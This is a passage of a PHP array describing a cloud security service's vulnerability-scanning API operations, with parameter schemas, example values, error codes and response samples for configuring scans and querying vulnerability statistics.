\\"486F2228-438A-544A-A533-433F943C15CD\\"\\n}","type":"json"}]', 'title' => 'OperateImageVul', ], 'ModifyVulTarget' => [ 'summary' => 'Modifies the configurations of the vulnerability scan feature for a server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'The configurations. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **vulType**: the type of the vulnerabilities to scan. Valid values:'."\n" ."\n" .' * **cve**: Linux software vulnerabilities'."\n" .' * **sys**: Windows system vulnerabilities'."\n" .' * **cms**: Web-CMS vulnerabilities'."\n" .' * **emg**: urgent vulnerabilities'."\n", 'type' => 'string', 'required' => false, 'example' => '{\\"vulType\\":\\"sys\\"}', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The operation. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **target**: the UUID of the server.'."\n" ."\n" .'* **targetType**: the application scope of the operation. Set the value to uuid.'."\n" ."\n" .'* **flag**: the type of the operation. Valid values:'."\n" ."\n" .' * **add**: select'."\n" .' * **del**: deselect'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"target\\": \\"9cd5c684-7201-4de5-ad2c-cea89a5e****\\", \\"targetType\\": \\"uuid\\", \\"flag\\": \\"add\\"}]', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '38597320-A990-5444-9A4C-7A1269610C2A', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"38597320-A990-5444-9A4C-7A1269610C2A\\"\\n}","type":"json"}]', 'title' => 'ModifyVulTarget', ], 'ModifyVulConfig' => [ 'summary' => 'Modifies the configurations of the vulnerability scan feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '101933', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n" .'* **app**: application vulnerability'."\n" .'* **yum**: YUM and APT source configuration'."\n" .'* **scanMode**: easily exploitable vulnerability'."\n", 'type' => 'string', 'required' => false, 'example' => 'cve', ], ], [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the vulnerability scan feature. Valid values:'."\n" ."\n" .'* **on**: enables the feature'."\n" .'* **off**: disables the feature'."\n" ."\n" .'> Valid values when you set the Type parameter to scanMode:'."\n" ."\n" .'* **real**: displays only easily exploitable vulnerabilities.'."\n" ."\n" .'* **all**: displays all vulnerabilities.'."\n", 'type' => 'string', 'required' => false, 'example' => 'on', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '24DDBE06-58FF-5E5E-9241-D2010D7913C1', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24DDBE06-58FF-5E5E-9241-D2010D7913C1\\"\\n}","type":"json"}]', 'title' => 'ModifyVulConfig', ], 'ModifyConcernNecessity' => [ 'summary' => 'Modifies the priority to fix vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92358', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'ConcernNecessity', 'in' => 'query', 'schema' => [ 'description' => 'The priorities to fix the vulnerabilities. Valid values:'."\n" ."\n" .'* asap: high'."\n" .'* later: medium'."\n" .'* nntf: low'."\n", 'type' => 'string', 'required' => false, 'example' => 'asap,nntf', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'F059E190-A65B-5DF8-8709-2CC7791A5B65', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F059E190-A65B-5DF8-8709-2CC7791A5B65\\"\\n}","type":"json"}]', 'title' => 'ModifyConcernNecessity', ], 'ModifyAutoDelConfig' => [ 'summary' => 'Specifies the number of days after which a detected vulnerability is automatically deleted.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92350', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Days', 'in' => 'query', 'schema' => [ 'description' => 'The number of days after which a detected vulnerability is automatically deleted. Unit: days. Valid values:'."\n" ."\n" .'* 7'."\n" .'* 30'."\n" .'* 90'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '30', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '3BFA659D-F44F-5703-8FD1-33AB596BEACA', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3BFA659D-F44F-5703-8FD1-33AB596BEACA\\"\\n}","type":"json"}]', 'title' => 'ModifyAutoDelConfig', ], 'ModifyAppVulScanCycle' => [ 'summary' => 'Configures a scan cycle for application vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '105958', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Cycle', 'in' => 'query', 'schema' => [ 'description' => 'The scan cycle for application vulnerabilities.'."\n" ."\n" .'* 1week'."\n" .'* 2weeks'."\n" .'* 3days'."\n", 'type' => 'string', 'required' => false, 'example' => '1week', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'AFEDC54D-70A2-5E56-A69B-E3D8AA8A5197', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"AFEDC54D-70A2-5E56-A69B-E3D8AA8A5197\\"\\n}","type":"json"}]', 'title' => 'ModifyAppVulScanCycle', ], 'DescribeVulTargetStatistics' => [ 'summary' => 'Queries the configurations of the vulnerability scan feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n", 'type' => 'string', 'required' => false, 'example' => 'cve', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '23AD0BD2-8771-5647-819E-6BA51E212F80', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TargetStats' => [ 'description' => 'An array that consists of the configurations of the vulnerability scan feature.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The configurations of the vulnerability scan feature.'."\n", 'type' => 'object', 'properties' => [ 'VulType' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* cve: Linux software vulnerabilities'."\n" .'* sys: Windows system vulnerabilities'."\n" .'* cms: Web-CMS vulnerabilities'."\n" .'* emg: urgent vulnerabilities'."\n", 'type' => 'string', 'example' => 'cve', ], 'TotalCount' => [ 'description' => 'The total number of servers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'UuidCount' => [ 'description' => 'The number of servers to which the configurations are applied.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Targets' => [ 'description' => 'An array that consists of available servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the server.'."\n", 'type' => 'object', 'properties' => [ 'Flag' => [ 'description' => 'Indicates whether the configurations are applied to the server. Valid values:'."\n" ."\n" .'* **add**: yes'."\n" .'* **del**: no'."\n", 'type' => 'string', 'example' => 'add', ], 'Target' => [ 'description' => 'The group ID or UUID of the server to which the configurations are applied.'."\n", 'type' => 'string', 'example' => '0011ea53-738c-4bff-93be-ce6a1cc9****', ], 'TargetType' => [ 'description' => 'The condition by which the configurations are applied to the server. Valid values:'."\n" ."\n" .'* **uuid**: the UUID of the server'."\n" .'* **groupId**: the ID of the server group'."\n", 'type' => 'string', 'example' => 'uuid', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E212F80\\",\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"TargetStats\\": [\\n {\\n \\"VulType\\": \\"cve\\",\\n \\"TotalCount\\": 1,\\n \\"UuidCount\\": 1,\\n \\"Targets\\": [\\n {\\n \\"Flag\\": \\"add\\",\\n \\"Target\\": \\"0011ea53-738c-4bff-93be-ce6a1cc9****\\",\\n \\"TargetType\\": \\"uuid\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeVulTargetStatistics', ], 'DescribeVulTargetConfig' => [ 'summary' => 'Queries the configurations of the vulnerability scan feature for a server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n", 'type' => 'string', 'required' => false, 'example' => 'cve', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ae1527a9-2308-46ab-b10a-48ae7ff7****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '9FBC6E47-7508-58C9-9E76-528E118CB1CC', ], 'TargetConfigs' => [ 'description' => 'An array that consists of the configurations.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the configurations.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n", 'type' => 'string', 'example' => 'cve', ], 'OverAllConfig' => [ 'description' => 'Indicates whether the vulnerability scan feature is enabled for all servers. Valid values:'."\n" ."\n" .'* **off**: disabled'."\n" .'* **on**: enabled'."\n", 'type' => 'string', 'example' => 'on', ], 'Config' => [ 'description' => 'Indicates whether the vulnerability scan feature is enabled for the server.'."\n" ."\n" .'* **off**: disabled'."\n" .'* **on**: enabled'."\n", 'type' => 'string', 'example' => 'on', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 1,\\n \\"RequestId\\": \\"9FBC6E47-7508-58C9-9E76-528E118CB1CC\\",\\n \\"TargetConfigs\\": [\\n {\\n \\"Type\\": \\"cve\\",\\n \\"OverAllConfig\\": \\"on\\",\\n \\"Config\\": \\"on\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeVulTargetConfig', ], 'DescribeVulNumStatistics' => [ 'summary' => 'Queries the statistics of vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The source of the request.'."\n" ."\n" .'* If you want to query Security Center-related data, set the value to **sas**.'."\n" .'* If you want to query Server Guard-related data, you do not need to specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'type' => 'integer', 'format' => 'int64', 'required' => false, 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'AppNum' => [ 'description' => 'The number of application vulnerabilities that are detected on the asset by using the web scanner.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ScaNum' => [ 'description' => 'The number of middleware vulnerabilities that are detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'VulLaterSum' => [ 'description' => 'The number of vulnerabilities that have the medium priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AppCnt' => [ 'description' => 'The number of application vulnerabilities that are detected on the asset by using the web scanner.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'CveNum' => [ 'description' => 'The number of Linux software vulnerabilities that are detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'EmgNum' => [ 'description' => 'The number of urgent vulnerabilities that are detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'CmsDealedTotalNum' => [ 'description' => 'The number of Web-CMS vulnerabilities that are handled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'VulDealedTotalNum' => [ 'description' => 'The number of vulnerabilities that are handled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'VulNntfSum' => [ 'description' => 'The number of vulnerabilities that have the low priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'CmsNum' => [ 'description' => 'The number of Web-CMS vulnerabilities that are detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E22C89D2-FE13-5800-8746-9D0EF1827A59', ], 'VulAsapSum' => [ 'description' => 'The number of vulnerabilities that have the high priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SysNum' => [ 'description' => 'The number of Windows system vulnerabilities that are detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"AppNum\\": 0,\\n \\"ScaNum\\": 0,\\n \\"VulLaterSum\\": 0,\\n \\"AppCnt\\": 0,\\n \\"CveNum\\": 0,\\n \\"EmgNum\\": 0,\\n \\"CmsDealedTotalNum\\": 0,\\n \\"VulDealedTotalNum\\": 0,\\n \\"VulNntfSum\\": 0,\\n \\"CmsNum\\": 0,\\n \\"RequestId\\": \\"E22C89D2-FE13-5800-8746-9D0EF1827A59\\",\\n \\"VulAsapSum\\": 0,\\n \\"SysNum\\": 0\\n}","type":"json"}]', 'title' => 'DescribeVulNumStatistics', ], 'DescribeVulListPage' => [ 'summary' => 'Queries the vulnerabilities that can be detected.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '115807', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'CveId', 'in' => 'query', 'schema' => [ 'description' => 'The Common Vulnerabilities and Exposures (CVE) ID of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'CVE-2022-44702', ], ], [ 'name' => 'VulNameLike', 'in' => 'query', 'schema' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'RCE vulnerability'."\n", ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'VulType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerabilities. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability.'."\n" .'* **sys**: Windows system vulnerability.'."\n" .'* **app**: Application vulnerability that is detected by using web scanner.', 'type' => 'string', 'required' => false, 'example' => 'cve', ], ], [ 'name' => 'RaspDefend', 'in' => 'query', 'schema' => [ 'description' => 'Indicates whether the application protection feature is supported. Valid values:'."\n" ."\n" .'- **0**: no.'."\n" ."\n" .'- **1**: yes.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'title' => 'TotalCount本次请求条件下的数据总量，此参数为可选参数，默认可不返回', 'description' => 'The total number of entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '4347E985-6E64-467B-96EC-30D4EA9E32FB', ], 'Data' => [ 'title' => '返回参数', 'description' => 'The response parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'Information about the vulnerability.'."\n", 'type' => 'object', 'properties' => [ 'ReleaseTime' => [ 'title' => '发布时间', 'description' => 'The time when the vulnerability was disclosed.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2022-12-13T08:00Z', ], 'OtherId' => [ 'title' => '编号', 'description' => 'The ID of the vulnerability.'."\n", 'type' => 'string', 'example' => 'AVD-2018-8218', ], 'IsSas' => [ 'title' => '是否网络扫描', 'description' => 'Indicates whether the vulnerability was detected based on proof of concept (POC) verification. Valid values:'."\n" ."\n" .'* 1: The vulnerability was detected based on POC verification.'."\n" .'* 0: The vulnerability was not detected based on POC verification.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'CveId' => [ 'title' => 'cveId', 'description' => 'The common vulnerabilities and exposures (CVE) ID of the vulnerability.'."\n", 'type' => 'string', 'example' => 'CVE-2022-42836', ], 'Id' => [ 'title' => 'id', 'description' => 'The primary key ID of the database.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '40586', ], 'IsAegis' => [ 'title' => '是否安骑士扫描', 'description' => 'Indicates whether the vulnerability was detected based on version comparison. Valid values:'."\n" ."\n" .'* 1: The vulnerability was detected based on version comparison.'."\n" .'* 0: The vulnerability was not detected based on version comparison.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Title' => [ 'title' => '漏洞标题', 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'Windows RCE vulnerability'."\n", ], 'ExtAegis' => [ 'title' => '安骑士拓展字段', 'description' => 'The extended field for Server Guard.'."\n", 'type' => 'string', 'example' => '{\\"relatedType\\":[{\\"type\\":\\"sys\\"}]}', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 100,\\n \\"RequestId\\": \\"4347E985-6E64-467B-96EC-30D4EA9E32FB\\",\\n \\"Data\\": [\\n {\\n \\"ReleaseTime\\": 0,\\n \\"OtherId\\": \\"AVD-2018-8218\\",\\n \\"IsSas\\": 0,\\n \\"CveId\\": \\"CVE-2022-42836\\",\\n \\"Id\\": 40586,\\n \\"IsAegis\\": 1,\\n \\"Title\\": \\"Windows 终端远程代码执行漏洞\\",\\n \\"ExtAegis\\": \\"{\\\\\\\\\\\\\\"relatedType\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"sys\\\\\\\\\\\\\\"}]}\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeVulListPage', ], 'DescribeVulCheckTaskStatusDetail' => [ 'summary' => 'Queries the status information about vulnerability scan tasks on a server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'TaskIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The task IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the task.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ad8afca3914a5fff4636e67f18e259c7', ], 'required' => false, 'docRequired' => true, 'maxItems' => 100, ], ], [ 'name' => 'Types', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the vulnerabilities that are detected by the tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerabilities'."\n" .'* **sys**: Windows system vulnerabilities'."\n" .'* **cms**: Web-CMS vulnerabilities'."\n" .'* **sca**: vulnerabilities that are detected based on software component analysis'."\n", 'type' => 'string', 'required' => false, 'example' => 'sca', ], 'required' => false, 'docRequired' => true, 'maxItems' => 10, ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'docRequired' => true, 'example' => '5d55af3c-35f3-4d4d-8ccc-8c5443b0****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of vulnerability scan tasks on the server.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], 'TaskStatuses' => [ 'description' => 'An array that consists of the status information about the vulnerability scan tasks on the server.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The struct of the status information about the vulnerability scan task.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'description' => 'The ID of the main task.'."\n", 'type' => 'string', 'example' => '16190385', ], 'TaskStatusList' => [ 'description' => 'An array that consists of status information about the vulnerability scan subtask.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The struct of the status information about the vulnerability scan subtask.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **sca**: vulnerability that is detected based on software component analysis'."\n", 'type' => 'string', 'example' => 'cve', ], 'Status' => [ 'description' => 'The status of the subtask. Valid values:'."\n" ."\n" .'* **0**: unhandled'."\n" .'* **1**: collecting'."\n" .'* **2**: collected'."\n" .'* **3**: matching'."\n" .'* **4**: complete'."\n", 'type' => 'string', 'example' => '4', ], 'Code' => [ 'description' => 'The error code returned.'."\n", 'type' => 'string', 'example' => 'push_command_failed', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 1,\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"TaskStatuses\\": [\\n {\\n \\"TaskId\\": \\"16190385\\",\\n \\"TaskStatusList\\": [\\n {\\n \\"Type\\": \\"cve\\",\\n \\"Status\\": \\"4\\",\\n \\"Code\\": \\"push_command_failed\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeVulCheckTaskStatusDetail', ], 'DescribeTaskErrorLog' => [ 'summary' => 'Queries the error logs on a task that failed to fix image vulnerabilities.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'BuildTaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task.'."\n" ."\n" .'> You can call the DescribeImageFixTask operation to query the IDs of tasks.'."\n", 'type' => 'string', 'required' => true, 'example' => 'ivf-6e520160-205d-4801-b8e9-9e7e****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'F929E952-EBFC-56C3-BD35-BF8B59024C69', ], 'Logs' => [ 'description' => 'An array that consists of the error logs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The log.'."\n", 'type' => 'object', 'properties' => [ 'Text' => [ 'description' => 'The text content of the log.'."\n", 'type' => 'string', 'example' => 'mv: cannot move \'CentOS-Base.repo\' to \'CentOS-Base.repo.backup\': Permission denied', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 